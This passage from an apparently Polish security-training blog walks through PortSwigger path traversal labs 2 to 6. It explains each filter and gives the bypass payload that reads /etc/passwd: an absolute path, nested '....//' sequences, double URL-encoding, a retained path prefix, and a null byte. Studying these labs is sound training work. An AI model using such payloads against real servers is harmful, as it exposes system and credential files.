<p class="wp-block-paragraph">Udało się. W odpowiedzi otrzymaliśmy zawartość pliku <code>etc/passwd</code>.</p>



<div class="wp-block-ps2id-block-target" id="zadanie-nr-2"></div>



<h2 class="wp-block-heading">File Path Traversal, traversal sequences blocked with absolute path bypass &#8211; zadanie numer 2</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_bc7f54-e8"><a class="kb-button kt-button button kb-btn14995_7c935f-e8 kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<p class="wp-block-paragraph"><strong>Treść zadania:</strong></p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass.png"><img loading="lazy" decoding="async" width="848" height="153" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass.png" alt="File path traversal, traversal sequences blocked with absolute path bypass" class="wp-image-15123" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass.png 848w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-300x54.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-768x139.png 768w" sizes="auto, (max-width: 848px) 100vw, 848px" data-mwl-img-id="15123" /></a></figure>



<p class="wp-block-paragraph">Tu również luka znajduje się w mechanizmie wyświetlania obrazka produktu i też musimy odczytać zawartość pliku <code>etc/passwd</code>. Jednak aplikacja blokuje sekwencje przechodzenia do katalogu wyżej, tak więc sekwencja <code>../</code> raczej tu nie zadziała, ale i tak spróbujemy jej użyć 😉</p>



<p class="wp-block-paragraph">Odpalamy Burp Suite, przechodzimy na podstronę z wybranym produktem. Następnie z poziomu Burp Suite przechodzimy do zakładki <strong>Proxy -&gt; HTTP History</strong> i znajdujemy żądanie wyświetlenia grafiki do wybranego produktu. Jeśli żądanie się u Ciebie nie wyświetla, patrz punkt wyżej (w poprzednim zadaniu wyjaśniam co należy zrobić).</p>



<p class="wp-block-paragraph">Następnie przesyłamy żądanie do Repeatera i wstawiamy w parametrze <code>filename</code> payload z poprzedniego laboratorium:</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2.png"><img loading="lazy" decoding="async" width="1024" height="412" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2-1024x412.png" alt="File path traversal, traversal sequences blocked with absolute path bypass" class="wp-image-15030" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2-1024x412.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2-300x121.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2-768x309.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2.png 1239w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15030" /></a></figure>



<p class="wp-block-paragraph">Tak jak przypuszczaliśmy, to nie zadziała. W aplikacji został wdrożony mechanizm zabezpieczający, który usuwa z zapytania ciąg znaków <code>../</code>, tak więc musimy jakoś to ominąć.</p>



<p class="wp-block-paragraph">W opisie laboratorium mamy wskazówkę <strong>„treats the supplied filename as being relative to a default working directory”</strong>. Chodzi o to, że wartość przekazana w parametrze <code>filename</code> (domyślnie jest to nazwa pliku wraz z rozszerzeniem) traktowana jest jako względna (relatywna) w stosunku do domyślnego katalogu roboczego. Przypomnijmy sobie czym jest ścieżka względna (relatywna) oraz bezwzględna (absolutna):</p>



<p class="has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-19 wp-block-paragraph"><strong>Ścieżka względna (relatywna)</strong> &#8211; określa lokalizację pliku lub folderu w&nbsp;odniesieniu do bieżącego katalogu. <br><br>Przykład ścieżki względnej:<br>./images/45.jpg<br><br>gdzie:<br><strong>. (znak kropki)</strong> &#8211; oznacza bieżący katalog,<br><strong>images</strong> &#8211; nazwa folderu w którym znajduje się nasz plik,<br><strong>45.jpg </strong>&#8211; nazwa pliku graficznego, który chcemy odczytać.<br><br><strong>Ścieżka bezwzględna (absolutna) </strong>&#8211; określa pełną ścieżkę począwszy od katalogu głównego aż do wybranego katalogu lub pliku, czyli zaczyna się aż od korzenia systemu plików do danego pliku.<br><br>Przykłady ścieżki bezwzględnej:<br>/var/www/images/45.jpg<br>/etc/passwd</p>



<p class="wp-block-paragraph">W tym laboratorium aplikacja usuwa z zapytania sekwencję <code>../</code>, tak więc nie możemy w ten sposób wyjść poza bieżący katalog. Spróbujmy zatem podać absolutną ścieżkę do pliku <code>passwd</code>. Plik ten znajduje się w lokalizacji:</p>



<pre class="wp-block-code"><code class="">/etc/passwd</code></pre>



<p class="wp-block-paragraph">Jak widzimy na poniższym zrzucie udało nam się obejść zabezpieczenie.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3.png"><img loading="lazy" decoding="async" width="1024" height="623" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3-1024x623.png" alt="File path traversal, traversal sequences blocked with absolute path bypass" class="wp-image-15031" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3-1024x623.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3-300x182.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3-768x467.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3.png 1537w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15031" /></a></figure>



<h2 class="wp-block-heading">File Path Traversal, traversal sequences stripped non-recursively &#8211; zadanie numer 3</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_6eab28-d1"><a class="kb-button kt-button button kb-btn14995_60b183-03 kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<p class="wp-block-paragraph">W kolejnym laboratorium również musimy wyświetlić zawartość pliku <code>etc/passwd</code>. Luka też jest w mechanizmie wyświetlania obrazków produktów. Tu też jest wdrożony mechanizm zabezpieczający, który usuwa sekwencję <code>../</code></p>



<p class="wp-block-paragraph"><strong>Treść zadania:</strong></p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively.png"><img decoding="async" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively.png" alt="File path traversal, traversal sequences stripped non-recursively" class="wp-image-15125" data-mwl-img-id="15125"/></a></figure>



<p class="wp-block-paragraph">W tym laboratorium nie zadziałają payloady z poprzednich zadań:</p>



<ul class="wp-block-list">
<li><code>../../../etc/passwd</code></li>



<li><code>/etc/passwd</code></li>
</ul>



<p class="wp-block-paragraph">Czasem zdarza się tak, że mechanizm zabezpieczający usuwa sekwencję <code>../</code> bez ponownego sprawdzania żądania. Po prostu usuwane jest tylko pierwsze wystąpienie sekwencji <code>../</code></p>



<p class="wp-block-paragraph">Żeby to sprawdzić do naszego żądania dodajmy poniższy payload:</p>



<pre class="wp-block-code"><code class="">....//....//....//etc/passwd</code></pre>



<p class="wp-block-paragraph">Mechanizm zabezpieczający usunie poniższe znaki:</p>



<figure class="wp-block-image size-full is-resized"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png"><img loading="lazy" decoding="async" width="800" height="211" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png" alt="" class="wp-image-15050" style="width:600px" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png 800w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-300x79.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-768x203.png 768w" sizes="auto, (max-width: 800px) 100vw, 800px" data-mwl-img-id="15050" /></a></figure>



<p class="wp-block-paragraph">Po tym zabiegu nasze zapytanie będzie miało odpowiednią strukturę:</p>



<figure class="wp-block-image size-full is-resized"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png"><img loading="lazy" decoding="async" width="335" height="93" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png" alt="" class="wp-image-15052" style="width:400px" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png 335w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2-300x83.png 300w" sizes="auto, (max-width: 335px) 100vw, 335px" data-mwl-img-id="15052" /></a></figure>



<p class="wp-block-paragraph">Sprawdźmy czy to zadziała.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2.png"><img loading="lazy" decoding="async" width="1024" height="764" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2-1024x764.png" alt="File path traversal, traversal sequences stripped non-recursively" class="wp-image-15062" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2-1024x764.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2-300x224.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2-768x573.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2.png 1240w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15062" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-3.png"><img loading="lazy" decoding="async" width="847" height="372" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-3.png" alt="File path traversal, traversal sequences stripped non-recursively" class="wp-image-15063" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-3.png 847w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-3-300x132.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-3-768x337.png 768w" sizes="auto, (max-width: 847px) 100vw, 847px" data-mwl-img-id="15063" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4.png"><img loading="lazy" decoding="async" width="1024" height="397" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4-1024x397.png" alt="File path traversal, traversal sequences stripped non-recursively" class="wp-image-15064" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4-1024x397.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4-300x116.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4-768x298.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4-1536x596.png 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4.png 1557w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15064" /></a></figure>



<p class="wp-block-paragraph">Udało nam się wyświetlić zawartość pliku <code>passwd</code>.</p>



<h2 class="wp-block-heading">File Path Traversal, traversal sequences stripped with superfluous URL-decode &#8211; zadanie numer 4</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_1f0924-60"><a class="kb-button kt-button button kb-btn14995_17b6d3-d3 kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<p class="wp-block-paragraph">W kolejnym zadaniu również musimy wyświetlić zawartość pliku <code>etc/passwd</code>. Luka też jest w mechanizmie wyświetlania obrazków produktów.</p>



<p class="wp-block-paragraph"><strong>Treść zadania:</strong></p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal.png"><img loading="lazy" decoding="async" width="859" height="157" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal.png" alt="File path traversal, traversal sequences stripped with superfluous URL-decode" class="wp-image-15128" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal.png 859w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-300x55.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-768x140.png 768w" sizes="auto, (max-width: 859px) 100vw, 859px" data-mwl-img-id="15128" /></a></figure>



<p class="wp-block-paragraph">Dużą wskazówkę znajdujemy w opisie tego laboratorium. Sekwencja przechodzenia do katalogu nadrzędnego (czyli <code>../</code>) jest usuwana z zapytania, ale mechanizm zanim użyje przekazanych danych w parametrze <code>filename</code> wykonuje dekodowanie adresu URL. Czyli dekoduje ciąg znaków zakodowanych za pomocą kodowania URL (kodowanie procentowe) na tekst jawny.</p>



<p class="wp-block-paragraph">Na pewno payloady z poprzednich zadań nie zadziałają:</p>



<ul class="wp-block-list">
<li><code>../../../etc/passwd</code></li>



<li><code>/etc/passwd</code></li>



<li><code>....//....//....//etc/passwd</code></li>
</ul>



<p class="wp-block-paragraph">Jednak co się stanie, jeśli zakodujemy sekwencję <code>../</code> za pomocą kodowania URL? Wtedy system zabezpieczający &#8222;nie zobaczy&#8221;, że jest to sekwencja <code>../</code>, więc przepuści nasz payload i zrobi na nim dekodowanie.</p>


<div class="kb-row-layout-wrap kb-row-layout-id14995_60874e-21 alignnone kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-1-columns kt-row-layout-equal kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top">

<div class="wp-block-kadence-column kadence-column14995_227104-05"><div class="kt-inside-inner-col">
<p class="has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph"><strong>Czym jest kodowanie URL?</strong></p>



<p class="has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph">Kodowanie URL (ang. <em>URL encoding</em>), zwane także kodowaniem procentowym, to proces przekształcania znaków w adresie URL na format, który jest zrozumiały dla przeglądarek oraz serwerów. Adresy URL mogą zawierać tylko określony zestaw znaków (litery, cyfry oraz kilka znaków specjalnych), a znaki, które nie są w tym zestawie, muszą być zakodowane. Podczas kodowania URL każdy nieakceptowany znak jest zamieniany na poprzedzoną znakiem procenta (%) dwucyfrową wartość heksadecymalną zapisaną w <a href="https://pl.wikipedia.org/wiki/ASCII" target="_blank" rel="noreferrer noopener nofollow">ASCII</a> np.:</p>



<ul class="wp-block-list has-black-color has-text-color has-link-color wp-elements-22">
<li>Spacja ( ) jest kodowana jako %20</li>



<li style="font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.156), 16px);">Znak &amp; jest kodowany jako %26</li>



<li>Polskie znaki, jak ł czy ę, również są zamieniane na ich reprezentację w kodzie procentowym.</li>
</ul>



<p class="has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph">URL bez kodowania:<br>https://example.com/szukaj?zapytanie=Nowy Jork &amp; kultura</p>



<p class="has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph">Zakodowany URL:<br>https://example.com/szukaj?zapytanie=Nowy%20Jork%20%26%20kultura</p>
</div></div>

</div></div>


<p class="wp-block-paragraph">Najpierw spróbujemy zakodować ciąg: <code>../../../</code></p>



<figure class="wp-block-table is-style-regular"><table class="has-fixed-layout"><thead><tr><th>Znak</th><th>Kodowanie URL</th></tr></thead><tbody><tr><td>.</td><td>%2E</td></tr><tr><td>/</td><td>%2F</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Zatem poniższa sekwencja:</p>



<pre class="wp-block-code"><code class="">../../../etc/passwd</code></pre>



<p class="wp-block-paragraph">będzie mieć postać:</p>



<pre class="wp-block-code"><code class="">%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc/passwd</code></pre>



<p class="wp-block-paragraph">Sprawdźmy czy to zadziała.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode.png"><img loading="lazy" decoding="async" width="1024" height="733" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-1024x733.png" alt="" class="wp-image-15077" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-1024x733.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-300x215.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-768x550.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode.png 1268w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15077" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-3.png"><img loading="lazy" decoding="async" width="767" height="448" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-3.png" alt="" class="wp-image-15079" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-3.png 767w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-3-300x175.png 300w" sizes="auto, (max-width: 767px) 100vw, 767px" data-mwl-img-id="15079" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2.png"><img loading="lazy" decoding="async" width="1024" height="427" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2-1024x427.png" alt="" class="wp-image-15078" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2-1024x427.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2-300x125.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2-768x321.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2.png 1198w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15078" /></a></figure>



<p class="wp-block-paragraph">Niestety to nie zadziałało, ale możemy jeszcze spróbować użyć podwójnego kodowania. Czyli najpierw kodujemy ciąg <code>../../../</code>, a potem jeszcze raz kodujemy ciąg <code>%2E%2E%2F%2E%2E%2F%2E%2E%2F</code></p>



<figure class="wp-block-table is-style-regular"><table class="has-fixed-layout"><thead><tr><th>Znak</th><th>Kodowanie URL</th><th>Podwójne kodowanie URL</th></tr></thead><tbody><tr><td>.</td><td>%2E</td><td>%252E</td></tr><tr><td>/</td><td>%2F</td><td>%252F</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Ostatecznie nasz payload będzie miał postać:</p>



<pre class="wp-block-code"><code class="">%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc/passwd</code></pre>



<figure class="wp-block-image size-large is-resized"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4.png"><img loading="lazy" decoding="async" width="1024" height="342" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4-1024x342.png" alt="File path traversal, traversal sequences stripped with superfluous URL-decode" class="wp-image-15085" style="width:786px;height:auto" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4-1024x342.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4-300x100.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4-768x256.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4.png 1447w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15085" /></a></figure>



<p class="wp-block-paragraph">Tym razem nasz payload zadziałał.</p>



<h2 class="wp-block-heading">File Path Traversal, validation of start of path &#8211; zadanie numer 5</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_7cceac-53"><a class="kb-button kt-button button kb-btn14995_fbaeab-f1 kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<p class="wp-block-paragraph">W kolejnym zadaniu również musimy wyświetlić zawartość pliku <code>etc/passwd</code>. Luka też jest w mechanizmie wyświetlania obrazków produktów.</p>



<p class="wp-block-paragraph"><strong>Treść zadania:</strong></p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-1.png"><img decoding="async" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-1.png" alt="File path traversal, validation of start of path" class="wp-image-15130" data-mwl-img-id="15130"/></a></figure>



<p class="wp-block-paragraph">Spójrzmy na źródło strony. Jak widać na poniższym zrzucie parametr <code>filename</code> zawiera pełną ścieżkę do obrazka:</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2.png"><img loading="lazy" decoding="async" width="1024" height="620" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-1024x620.png" alt="File path traversal, validation of start of path" class="wp-image-15090" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-1024x620.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-300x182.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-768x465.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2.png 1142w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15090" /></a></figure>



<pre class="wp-block-code"><code class="">/image?filename=/var/www/images/48.jpg</code></pre>



<p class="wp-block-paragraph">Aplikacja sprawdza, czy ścieżka zaczyna się od oczekiwanych wartości, w tym przypadku ścieżki bezwzględnej <code>/var/www/images</code>.</p>



<p class="wp-block-paragraph">Sprawdźmy, czy możliwe jest użycie poniższego payloadu.  Zostawiamy początek ścieżki, czyli fragment który jest sprawdzany przez mechanizm zabezpieczający. Następnie próbujemy wyjść ponad te katalogi za pomocą sekwencji <code>../</code></p>



<pre class="wp-block-code"><code class="">/var/www/images/../../../etc/passwd</code></pre>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1.png"><img loading="lazy" decoding="async" width="1024" height="502" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1-1024x502.png" alt="" class="wp-image-15104" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1-1024x502.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1-300x147.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1-768x377.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1-1536x753.png 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1.png 1542w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15104" /></a></figure>



<h2 class="wp-block-heading">File Path Traversal, validation of file extension with null byte bypass &#8211; zadanie numer 6</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_05e11d-59"><a class="kb-button kt-button button kb-btn14995_a1502c-ef kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-2.png"><img loading="lazy" decoding="async" width="728" height="117" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-2.png" alt="" class="wp-image-15132" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-2.png 728w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-2-300x48.png 300w" sizes="auto, (max-width: 728px) 100vw, 728px" data-mwl-img-id="15132" /></a></figure>



<p class="wp-block-paragraph">W kolejnym zadaniu również musimy wyświetlić zawartość pliku <code>etc/passwd</code>. Luka też jest w mechanizmie wyświetlania obrazków produktów. Jest za to pewne utrudnienie polegające na tym, że mechanizm zabezpieczający sprawdza, że czy podana nazwa pliku kończy się oczekiwanym rozszerzeniem.</p>



<p class="wp-block-paragraph">Jak można przypuszczać, poniższy payload nie zadziała:</p>



<pre class="wp-block-code"><code class="">filename=../../../etc/passwd</code></pre>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2.png"><img loading="lazy" decoding="async" width="1024" height="425" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-1024x425.png" alt="File path traversal, validation of file extension with null byte bypass" class="wp-image-15109" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-1024x425.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-300x125.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-768x319.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2.png 1190w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15109" /></a></figure>



<p class="wp-block-paragraph">Na końcu zapytania brakuje rozszerzenia <code>.png</code>. Zatem dodajmy je, jednak w tym celu musimy użyć bajtu zerowego:</p>



<pre class="wp-block-code"><code class="">filename=../../../etc/passwd%00.png</code></pre>



<p class="wp-block-paragraph">To zapytanie zadziałało:</p>



